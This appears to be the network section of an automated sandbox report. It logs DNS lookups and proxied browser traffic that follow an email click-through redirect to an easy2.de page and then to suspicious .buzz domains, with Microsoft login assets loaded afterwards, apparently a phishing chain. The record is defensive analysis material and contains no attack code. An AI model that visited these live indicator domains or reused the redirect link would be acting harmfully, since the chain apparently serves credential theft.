Jan 14, 2025 15:55:57.765675068 CET	192.168.2.6	1.1.1.1	0x6eeb	Standard query (0)	mighty-calm-plum-toucan.easy2.de	65	IN (0x0001)	false
Jan 14, 2025 15:55:58.680605888 CET	192.168.2.6	1.1.1.1	0x8999	Standard query (0)	static.web-repository.com	A (IP address)	IN (0x0001)	false
Jan 14, 2025 15:55:58.680828094 CET	192.168.2.6	1.1.1.1	0xa49f	Standard query (0)	static.web-repository.com	65	IN (0x0001)	false
Jan 14, 2025 15:55:58.728553057 CET	192.168.2.6	1.1.1.1	0x9a2f	Standard query (0)	fonts.bunny.net	A (IP address)	IN (0x0001)	false
Jan 14, 2025 15:55:58.729022980 CET	192.168.2.6	1.1.1.1	0xf010	Standard query (0)	fonts.bunny.net	65	IN (0x0001)	false
Jan 14, 2025 15:55:58.732875109 CET	192.168.2.6	1.1.1.1	0x7c9a	Standard query (0)	content.app-sources.com	A (IP address)	IN (0x0001)	false
Jan 14, 2025 15:55:58.733062983 CET	192.168.2.6	1.1.1.1	0xad9e	Standard query (0)	content.app-sources.com	65	IN (0x0001)	false
Jan 14, 2025 15:56:00.074767113 CET	192.168.2.6	1.1.1.1	0x8bf3	Standard query (0)	content.app-sources.com	A (IP address)	IN (0x0001)	false
Jan 14, 2025 15:56:00.075126886 CET	192.168.2.6	1.1.1.1	0xe122	Standard query (0)	content.app-sources.com	65	IN (0x0001)	false
Jan 14, 2025 15:56:00.352968931 CET	192.168.2.6	1.1.1.1	0xf736	Standard query (0)	static.web-repository.com	A (IP address)	IN (0x0001)	false
Jan 14, 2025 15:56:00.353252888 CET	192.168.2.6	1.1.1.1	0x65ff	Standard query (0)	static.web-repository.com	65	IN (0x0001)	false
Jan 14, 2025 15:56:01.223325014 CET	192.168.2.6	1.1.1.1	0xcdf6	Standard query (0)	service-api.app-sources.com	A (IP address)	IN (0x0001)	false
Jan 14, 2025 15:56:01.223644018 CET	192.168.2.6	1.1.1.1	0xfd81	Standard query (0)	service-api.app-sources.com	65	IN (0x0001)	false
Jan 14, 2025 15:56:02.903455019 CET	192.168.2.6	1.1.1.1	0x7cc0	Standard query (0)	service-api.app-sources.com	A (IP address)	IN (0x0001)	false
Jan 14, 2025 15:56:02.903886080 CET	192.168.2.6	1.1.1.1	0x2e6e	Standard query (0)	service-api.app-sources.com	65	IN (0x0001)	false
Jan 14, 2025 15:56:11.563823938 CET	192.168.2.6	1.1.1.1	0xd7bb	Standard query (0)	perspectivemeaningful.buzz	A (IP address)	IN (0x0001)	false
Jan 14, 2025 15:56:11.564328909 CET	192.168.2.6	1.1.1.1	0x98c7	Standard query (0)	perspectivemeaningful.buzz	65	IN (0x0001)	false
Jan 14, 2025 15:56:12.363006115 CET	192.168.2.6	1.1.1.1	0x9f08	Standard query (0)	interconnectednessresilient.buzz	A (IP address)	IN (0x0001)	false
Jan 14, 2025 15:56:12.363317966 CET	192.168.2.6	1.1.1.1	0x6fcc	Standard query (0)	interconnectednessresilient.buzz	65	IN (0x0001)	false
Jan 14, 2025 15:56:16.739420891 CET	192.168.2.6	1.1.1.1	0x82da	Standard query (0)	interconnectednessresilient.buzz	A (IP address)	IN (0x0001)	false
Jan 14, 2025 15:56:16.739877939 CET	192.168.2.6	1.1.1.1	0xfdfa	Standard query (0)	interconnectednessresilient.buzz	65	IN (0x0001)	false
Jan 14, 2025 15:56:18.020536900 CET	192.168.2.6	1.1.1.1	0x7b88	Standard query (0)	aadcdn.msftauth.net	A (IP address)	IN (0x0001)	false
Jan 14, 2025 15:56:18.021024942 CET	192.168.2.6	1.1.1.1	0x7249	Standard query (0)	aadcdn.msftauth.net	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 14, 2025 15:55:39.029742002 CET	1.1.1.1	192.168.2.6	0x384f	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	s-part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 14, 2025 15:55:39.029742002 CET	1.1.1.1	192.168.2.6	0x384f	No error (0)	s-part-0017.t-0009.t-msedge.net		13.107.246.45	A (IP address)	IN (0x0001)	false
Jan 14, 2025 15:55:55.365102053 CET	1.1.1.1	192.168.2.6	0xf574	No error (0)	www.google.com		142.250.185.132	A (IP address)	IN (0x0001)	false
Jan 14, 2025 15:55:55.365124941 CET	1.1.1.1	192.168.2.6	0xfcfb	No error (0)	www.google.com			65	IN (0x0001)	false
Jan 14, 2025 15:55:56.717868090 CET	1.1.1.1	192.168.2.6	0xbb8	No error (0)	account.tctmagazine.com	adproxy.abacuscloud.uk		CNAME (Canonical name)	IN (0x0001)	false
Jan 14, 2025 15:55:56.717868090 CET	1.1.1.1	192.168.2.6	0xbb8	No error (0)	adproxy.abacuscloud.uk		52.164.226.60	A (IP address)	IN (0x0001)	false
Jan 14, 2025 15:55:56.971558094 CET	1.1.1.1	192.168.2.6	0xbd4c	No error (0)	account.tctmagazine.com	adproxy.abacuscloud.uk		CNAME (Canonical name)	IN (0x0001)	false
Jan 14, 2025 15:55:57.796665907 CET	1.1.1.1	192.168.2.6	0x5022	No error (0)	mighty-calm-plum-toucan.easy2.de		34.202.63.170	A (IP address)	IN (0x0001)	false
Jan 14, 2025 15:55:58.688672066 CET	1.1.1.1	192.168.2.6	0x8999	No error (0)	static.web-repository.com	d2rbklkmhbaoma.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 14, 2025 15:55:58.688672066 CET	1.1.1.1	192.168.2.6	0x8999	No error (0)	d2rbklkmhbaoma.cloudfront.net		143.204.98.14	A (IP address)	IN (0x0001)	false
Jan 14, 2025 15:55:58.688672066 CET	1.1.1.1	192.168.2.6	0x8999	No error (0)	d2rbklkmhbaoma.cloudfront.net		143.204.98.17	A (IP address)	IN (0x0001)	false
Jan 14, 2025 15:55:58.688672066 CET	1.1.1.1	192.168.2.6	0x8999	No error (0)	d2rbklkmhbaoma.cloudfront.net		143.204.98.66	A (IP address)	IN (0x0001)	false
Jan 14, 2025 15:55:58.688672066 CET	1.1.1.1	192.168.2.6	0x8999	No error (0)	d2rbklkmhbaoma.cloudfront.net		143.204.98.128	A (IP address)	IN (0x0001)	false
Jan 14, 2025 15:55:58.735868931 CET	1.1.1.1	192.168.2.6	0x9a2f	No error (0)	fonts.bunny.net	bunnyfonts.b-cdn.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 14, 2025 15:55:58.735868931 CET	1.1.1.1	192.168.2.6	0x9a2f	No error (0)	bunnyfonts.b-cdn.net		169.150.236.105	A (IP address)	IN (0x0001)	false
Jan 14, 2025 15:55:58.735940933 CET	1.1.1.1	192.168.2.6	0xf010	No error (0)	fonts.bunny.net	bunnyfonts.b-cdn.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 14, 2025 15:55:58.759098053 CET	1.1.1.1	192.168.2.6	0x7c9a	No error (0)	content.app-sources.com	d3tlllhky18vc.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 14, 2025 15:55:58.759098053 CET	1.1.1.1	192.168.2.6	0x7c9a	No error (0)	d3tlllhky18vc.cloudfront.net		108.138.26.121	A (IP address)	IN (0x0001)	false
Jan 14, 2025 15:55:58.759098053 CET	1.1.1.1	192.168.2.6	0x7c9a	No error (0)	d3tlllhky18vc.cloudfront.net		108.138.26.118	A (IP address)	IN (0x0001)	false
Jan 14, 2025 15:55:58.759098053 CET	1.1.1.1	192.168.2.6	0x7c9a	No error (0)	d3tlllhky18vc.cloudfront.net		108.138.26.71	A (IP address)	IN (0x0001)	false
Jan 14, 2025 15:55:58.759098053 CET	1.1.1.1	192.168.2.6	0x7c9a	No error (0)	d3tlllhky18vc.cloudfront.net		108.138.26.40	A (IP address)	IN (0x0001)	false
Jan 14, 2025 15:55:58.768167019 CET	1.1.1.1	192.168.2.6	0xad9e	No error (0)	content.app-sources.com	d3tlllhky18vc.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 14, 2025 15:55:58.996491909 CET	1.1.1.1	192.168.2.6	0xa49f	No error (0)	static.web-repository.com	d2rbklkmhbaoma.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 14, 2025 15:56:00.098079920 CET	1.1.1.1	192.168.2.6	0xe122	No error (0)	content.app-sources.com	d3tlllhky18vc.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 14, 2025 15:56:00.120682001 CET	1.1.1.1	192.168.2.6	0x8bf3	No error (0)	content.app-sources.com	d3tlllhky18vc.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 14, 2025 15:56:00.120682001 CET	1.1.1.1	192.168.2.6	0x8bf3	No error (0)	d3tlllhky18vc.cloudfront.net		108.138.26.118	A (IP address)	IN (0x0001)	false
Jan 14, 2025 15:56:00.120682001 CET	1.1.1.1	192.168.2.6	0x8bf3	No error (0)	d3tlllhky18vc.cloudfront.net		108.138.26.40	A (IP address)	IN (0x0001)	false
Jan 14, 2025 15:56:00.120682001 CET	1.1.1.1	192.168.2.6	0x8bf3	No error (0)	d3tlllhky18vc.cloudfront.net		108.138.26.121	A (IP address)	IN (0x0001)	false
Jan 14, 2025 15:56:00.120682001 CET	1.1.1.1	192.168.2.6	0x8bf3	No error (0)	d3tlllhky18vc.cloudfront.net		108.138.26.71	A (IP address)	IN (0x0001)	false
Jan 14, 2025 15:56:00.380942106 CET	1.1.1.1	192.168.2.6	0xf736	No error (0)	static.web-repository.com	d2rbklkmhbaoma.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 14, 2025 15:56:00.380942106 CET	1.1.1.1	192.168.2.6	0xf736	No error (0)	d2rbklkmhbaoma.cloudfront.net		143.204.98.128	A (IP address)	IN (0x0001)	false
Jan 14, 2025 15:56:00.380942106 CET	1.1.1.1	192.168.2.6	0xf736	No error (0)	d2rbklkmhbaoma.cloudfront.net		143.204.98.17	A (IP address)	IN (0x0001)	false
Jan 14, 2025 15:56:00.380942106 CET	1.1.1.1	192.168.2.6	0xf736	No error (0)	d2rbklkmhbaoma.cloudfront.net		143.204.98.66	A (IP address)	IN (0x0001)	false
Jan 14, 2025 15:56:00.380942106 CET	1.1.1.1	192.168.2.6	0xf736	No error (0)	d2rbklkmhbaoma.cloudfront.net		143.204.98.14	A (IP address)	IN (0x0001)	false
Jan 14, 2025 15:56:00.397561073 CET	1.1.1.1	192.168.2.6	0x65ff	No error (0)	static.web-repository.com	d2rbklkmhbaoma.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 14, 2025 15:56:01.240099907 CET	1.1.1.1	192.168.2.6	0xcdf6	No error (0)	service-api.app-sources.com	d-mb6d53h73l.execute-api.us-east-1.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 14, 2025 15:56:01.240099907 CET	1.1.1.1	192.168.2.6	0xcdf6	No error (0)	d-mb6d53h73l.execute-api.us-east-1.amazonaws.com		100.29.141.76	A (IP address)	IN (0x0001)	false
Jan 14, 2025 15:56:01.240099907 CET	1.1.1.1	192.168.2.6	0xcdf6	No error (0)	d-mb6d53h73l.execute-api.us-east-1.amazonaws.com		3.212.11.239	A (IP address)	IN (0x0001)	false
Jan 14, 2025 15:56:01.240329981 CET	1.1.1.1	192.168.2.6	0xfd81	No error (0)	service-api.app-sources.com	d-mb6d53h73l.execute-api.us-east-1.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 14, 2025 15:56:02.932145119 CET	1.1.1.1	192.168.2.6	0x2e6e	No error (0)	service-api.app-sources.com	d-mb6d53h73l.execute-api.us-east-1.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 14, 2025 15:56:03.223913908 CET	1.1.1.1	192.168.2.6	0x7cc0	No error (0)	service-api.app-sources.com	d-mb6d53h73l.execute-api.us-east-1.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 14, 2025 15:56:03.223913908 CET	1.1.1.1	192.168.2.6	0x7cc0	No error (0)	d-mb6d53h73l.execute-api.us-east-1.amazonaws.com		100.29.141.76	A (IP address)	IN (0x0001)	false
Jan 14, 2025 15:56:03.223913908 CET	1.1.1.1	192.168.2.6	0x7cc0	No error (0)	d-mb6d53h73l.execute-api.us-east-1.amazonaws.com		3.212.11.239	A (IP address)	IN (0x0001)	false
Jan 14, 2025 15:56:11.585447073 CET	1.1.1.1	192.168.2.6	0xd7bb	No error (0)	perspectivemeaningful.buzz		23.95.206.235	A (IP address)	IN (0x0001)	false
Jan 14, 2025 15:56:12.387164116 CET	1.1.1.1	192.168.2.6	0x9f08	No error (0)	interconnectednessresilient.buzz		23.95.206.235	A (IP address)	IN (0x0001)	false
Jan 14, 2025 15:56:15.724538088 CET	1.1.1.1	192.168.2.6	0x10c7	No error (0)	csp-afd-prod.azurefd.net	azurefd-t-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 14, 2025 15:56:15.724538088 CET	1.1.1.1	192.168.2.6	0x10c7	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	s-part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 14, 2025 15:56:15.724538088 CET	1.1.1.1	192.168.2.6	0x10c7	No error (0)	s-part-0017.t-0009.t-msedge.net		13.107.246.45	A (IP address)	IN (0x0001)	false
Jan 14, 2025 15:56:15.742729902 CET	1.1.1.1	192.168.2.6	0xaa04	No error (0)	csp-afd-prod.azurefd.net	azurefd-t-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 14, 2025 15:56:16.787368059 CET	1.1.1.1	192.168.2.6	0x82da	No error (0)	interconnectednessresilient.buzz		23.95.206.235	A (IP address)	IN (0x0001)	false
Jan 14, 2025 15:56:18.007925034 CET	1.1.1.1	192.168.2.6	0x4fe1	No error (0)	shed.dual-low.s-part-0016.t-0009.t-msedge.net	azurefd-t-fb-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 14, 2025 15:56:18.007925034 CET	1.1.1.1	192.168.2.6	0x4fe1	No error (0)	dual.s-part-0016.t-0009.fb-t-msedge.net	s-part-0016.t-0009.fb-t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 14, 2025 15:56:18.007925034 CET	1.1.1.1	192.168.2.6	0x4fe1	No error (0)	s-part-0016.t-0009.fb-t-msedge.net		13.107.253.44	A (IP address)	IN (0x0001)	false
Jan 14, 2025 15:56:18.027363062 CET	1.1.1.1	192.168.2.6	0x7b88	No error (0)	aadcdn.msftauth.net	scdn38e6f.wpc.9be8f.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 14, 2025 15:56:18.027363062 CET	1.1.1.1	192.168.2.6	0x7b88	No error (0)	scdn38e6f.wpc.9be8f.omegacdn.net	sni1gl.wpc.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 14, 2025 15:56:18.027363062 CET	1.1.1.1	192.168.2.6	0x7b88	No error (0)	sni1gl.wpc.omegacdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Jan 14, 2025 15:56:18.028482914 CET	1.1.1.1	192.168.2.6	0x7249	No error (0)	aadcdn.msftauth.net	scdn38e6f.wpc.9be8f.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 14, 2025 15:56:18.028482914 CET	1.1.1.1	192.168.2.6	0x7249	No error (0)	scdn38e6f.wpc.9be8f.omegacdn.net	sni1gl.wpc.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

account.tctmagazine.com

mighty-calm-plum-toucan.easy2.de

https:

fonts.bunny.net

static.web-repository.com

content.app-sources.com

service-api.app-sources.com

perspectivemeaningful.buzz

interconnectednessresilient.buzz

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49821	52.164.226.60	443	7016	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 14:55:57 UTC	791	OUT	GET /emailclickthrough?TxActivity=239212&returnUrl=https://mighty-calm-plum-toucan.easy2.de/&Hash=1DD38A2BA32B80F59EA0F1A750C3EC0E HTTP/1.1 Host: account.tctmagazine.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-14 14:55:57 UTC	662	IN	HTTP/1.1 302 Found Cache-Control: private Content-Type: text/html; charset=utf-8 Location: https://mighty-calm-plum-toucan.easy2.de/ Server: Microsoft-IIS/10.0 Set-Cookie: ASP.NET_SessionId=rn4zs0sep1qbpvc4w1xjxexp; path=/; HttpOnly; SameSite=Lax Set-Cookie: ASP.NET_SessionId=rn4zs0sep1qbpvc4w1xjxexp; path=/; HttpOnly; SameSite=Lax Set-Cookie: __AntiXsrfToken=168995d1b3f846b688a5a832d1d1ee72; path=/; HttpOnly X-Served-By: ADCLOUDWEB1 X-Server-Name: ADCLOUDWEB1 Date: Tue, 14 Jan 2025 14:55:55 GMT Connection: close Content-Length: 158 Strict-Transport-Security: max-age=16000000; includeSubDomains; preload; X-UA-Compatible:IE=edge,chrome=1
2025-01-14 14:55:57 UTC	158	IN	Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 4f 62 6a 65 63 74 20 6d 6f 76 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 32 3e 4f 62 6a 65 63 74 20 6d 6f 76 65 64 20 74 6f 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 6d 69 67 68 74 79 2d 63 61 6c 6d 2d 70 6c 75 6d 2d 74 6f 75 63 61 6e 2e 65 61 73 79 32 2e 64 65 2f 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 68 32 3e 0d 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Object moved</title></head><body><h2>Object moved to <a href="https://mighty-calm-plum-toucan.easy2.de/">here</a>.</h2></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49830	34.202.63.170	443	7016	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 14:55:58 UTC	675	OUT	GET / HTTP/1.1 Host: mighty-calm-plum-toucan.easy2.de Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-14 14:55:58 UTC	554	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 14:55:58 GMT Content-Type: text/html;charset=UTF-8 Transfer-Encoding: chunked Connection: close x-amzn-RequestId: b17d32d0-dffd-496a-9119-87aa07e4bef6 content-language: de set-cookie: INGRESSCOOKIE=C44B5D7305D2967E8C6E6A5A6ED06CD2; Path=/; Secure; HttpOnly; SameSite=None X-Amzn-Trace-Id: Root=1-67867afe-7e27223c41036a2e4aa804dd;Parent=459cf8724a8614c8;Sampled=0;Lineage=1:a5f8c33e:0 x-amzn-Remapped-date: Tue, 14 Jan 2025 14:55:58 GMT X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff
2025-01-14 14:55:58 UTC	15360	IN	Data Raw: 37 66 66 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 20 20 3c 68 74 6d 6c 20 69 74 65 6d 73 63 6f 70 65 20 69 74 65 6d 74 79 70 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 2e 6f 72 67 2f 57 65 62 50 61 67 65 22 20 6c 61 6e 67 3d 22 64 65 22 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 20 20 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 6d 69 6e 69 Data Ascii: 7ffa<!DOCTYPE html> <html itemscope itemtype="http://schema.org/WebPage" lang="de"> <head> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /> <meta name="viewport" content="width=device-width, initial-scale=1.0, mini
2025-01-14 14:55:58 UTC	16384	IN	Data Raw: 20 63 6f 6c 6f 72 3a 20 23 66 66 66 20 21 69 6d 70 6f 72 74 61 6e 74 3b 0d 0a 20 20 7d 0d 0a 0d 0a 20 20 2e 74 68 65 6d 65 20 2e 73 69 67 6e 69 6e 2d 62 75 74 74 6f 6e 3a 68 6f 76 65 72 20 73 76 67 2c 0d 0a 20 20 2e 74 68 65 6d 65 20 2e 63 61 72 74 2d 62 75 74 74 6f 6e 3a 68 6f 76 65 72 20 73 76 67 2c 0d 0a 20 20 2e 74 68 65 6d 65 20 2e 73 69 67 6e 69 6e 2d 62 75 74 74 6f 6e 2e 61 63 74 69 76 65 20 73 76 67 2c 0d 0a 20 20 2e 74 68 65 6d 65 20 2e 63 61 72 74 2d 62 75 74 74 6f 6e 2e 61 63 74 69 76 65 20 73 76 67 2c 0d 0a 20 20 2e 74 68 65 6d 65 20 2e 73 6d 61 6c 6c 65 72 20 2e 73 69 67 6e 69 6e 2d 62 75 74 74 6f 6e 3a 68 6f 76 65 72 20 73 76 67 2c 0d 0a 20 20 2e 74 68 65 6d 65 20 2e 73 6d 61 6c 6c 65 72 20 2e 63 61 72 74 2d 62 75 74 74 6f 6e 3a 68 6f 76 65 Data Ascii: color: #fff !important; } .theme .signin-button:hover svg, .theme .cart-button:hover svg, .theme .signin-button.active svg, .theme .cart-button.active svg, .theme .smaller .signin-button:hover svg, .theme .smaller .cart-button:hove
2025-01-14 14:55:58 UTC	1024	IN	Data Raw: 73 74 79 6c 65 3d 22 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 32 3b 22 3e 3c 73 70 61 6e 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 72 67 62 28 31 30 36 2c 20 31 30 36 2c 20 31 30 36 29 3b 22 3e 43 6f 6e 74 61 63 74 20 55 73 3c 2f 73 70 61 6e 3e 3c 2f 70 3e 3c 2f 64 69 76 3e 0a 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 77 69 64 67 65 74 2d 72 6f 77 20 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 77 69 64 67 65 74 20 0a 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 77 69 64 67 65 74 52 65 73 70 6f 6e 73 69 76 65 20 73 70 61 63 65 72 20 63 6f 6c 32 30 22 20 69 64 3d 22 73 70 61 63 65 72 2d 77 69 Data Ascii: style="line-height: 2;"><span style="color: rgb(106, 106, 106);">Contact Us</span></p></div> </div> </div> <div class="widget-row "> <div class="widget widgetResponsive spacer col20" id="spacer-wi
2025-01-14 14:55:58 UTC	15360	IN	Data Raw: 0d 0a 34 31 34 34 0d 0a 20 77 69 64 67 65 74 52 65 73 70 6f 6e 73 69 76 65 20 74 65 78 74 57 69 64 67 65 74 20 63 6f 6c 32 30 22 20 69 64 3d 22 74 65 78 74 2d 77 69 64 67 65 74 2d 31 34 37 35 33 35 31 37 31 34 39 36 34 22 0a 20 20 20 20 20 20 20 20 20 64 61 74 61 2d 74 79 70 65 3d 22 54 65 78 74 57 69 64 67 65 74 22 20 0a 20 20 20 20 20 20 20 20 20 64 61 74 61 2d 64 65 6c 61 79 3d 22 22 0a 20 20 20 20 20 20 20 20 20 64 61 74 61 2d 61 6e 69 6d 61 74 69 6f 6e 2d 64 75 72 61 74 69 6f 6e 3d 22 22 0a 20 20 20 20 20 20 20 20 20 64 61 74 61 2d 61 6e 69 6d 61 74 69 6f 6e 2d 64 65 6c 61 79 3d 22 22 0a 20 20 20 20 20 20 20 20 20 64 61 74 61 2d 61 6e 69 6d 61 74 69 6f 6e 3d 22 6c 61 7a 79 41 6e 69 6d 61 74 69 6f 6e 2d 22 0a 20 20 20 20 20 20 20 20 20 73 74 79 6c 65 Data Ascii: 4144 widgetResponsive textWidget col20" id="text-widget-1475351714964" data-type="TextWidget" data-delay="" data-animation-duration="" data-animation-delay="" data-animation="lazyAnimation-" style
2025-01-14 14:55:58 UTC	1363	IN	Data Raw: 64 3b 0a 20 20 7d 0a 3c 2f 73 74 79 6c 65 3e 0a 3c 73 63 72 69 70 74 3e 0a 20 20 77 69 6e 64 6f 77 2e 77 65 65 6b 53 74 61 72 74 73 41 74 4d 6f 6e 64 61 79 20 3d 20 74 72 75 65 3b 0a 3c 2f 73 63 72 69 70 74 3e 3c 21 2d 2d 20 2f 3e 3c 64 69 76 3e 3c 2f 64 69 76 3e 20 2a 2f 3c 2f 73 63 72 69 70 74 3e 20 2f 2a 2a 2f 20 3c 21 2d 2d 20 2d 2d 3e 0a 20 20 20 20 20 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 2e 6e 6f 74 2d 76 69 73 69 62 6c 65 2d 62 61 64 67 65 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 66 66 66 66 66 66 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 2e 6e 6f 74 2d 76 69 73 69 62 6c 65 2d 62 61 64 Data Ascii: d; }</style><script> window.weekStartsAtMonday = true;</script>... /><div></div> /</script> /*/ ... --> <style type="text/css"> .not-visible-badge { background: #ffffff; } .not-visible-bad

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.6	49840	169.150.236.105	443	7016	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 14:55:59 UTC	651	OUT	GET /css?display=swap&family=Open+Sans:regular%7CPlayfair+Display:italic%7CRoboto:300%7CHammersmith+One:regular HTTP/1.1 Host: fonts.bunny.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://mighty-calm-plum-toucan.easy2.de/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-14 14:55:59 UTC	977	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 14:55:59 GMT Content-Type: text/css; charset=utf-8 Content-Length: 12385 Connection: close Vary: Accept-Encoding Server: BunnyCDN-IL1-1207 CDN-PullZone: 781720 CDN-Uid: 3a60ca70-b89d-4cd5-a4b5-34a3468d7e0f CDN-RequestCountryCode: US Access-Control-Allow-Origin: * Access-Control-Allow-Headers: Server, x-goog-meta-frames, Content-Length, Content-Type, Range, X-Requested-With, If-Modified-Since, If-None-Match Access-Control-Expose-Headers: Server, x-goog-meta-frames, Content-Length, Content-Type, Range, X-Requested-With, If-Modified-Since, If-None-Match Alt-Svc: h3=":443" Cache-Control: public, max-age=2592000 Last-Modified: Wed, 18 Dec 2024 13:32:31 GMT CDN-ProxyVer: 1.06 CDN-RequestPullSuccess: True CDN-RequestPullCode: 200 CDN-CachedAt: 12/18/2024 13:32:31 CDN-EdgeStorageId: 1207 CDN-Status: 200 CDN-RequestTime: 0 CDN-RequestId: 5d22b3849bdff22144543ddbd67266c9 CDN-Cache: HIT Accept-Ranges: bytes
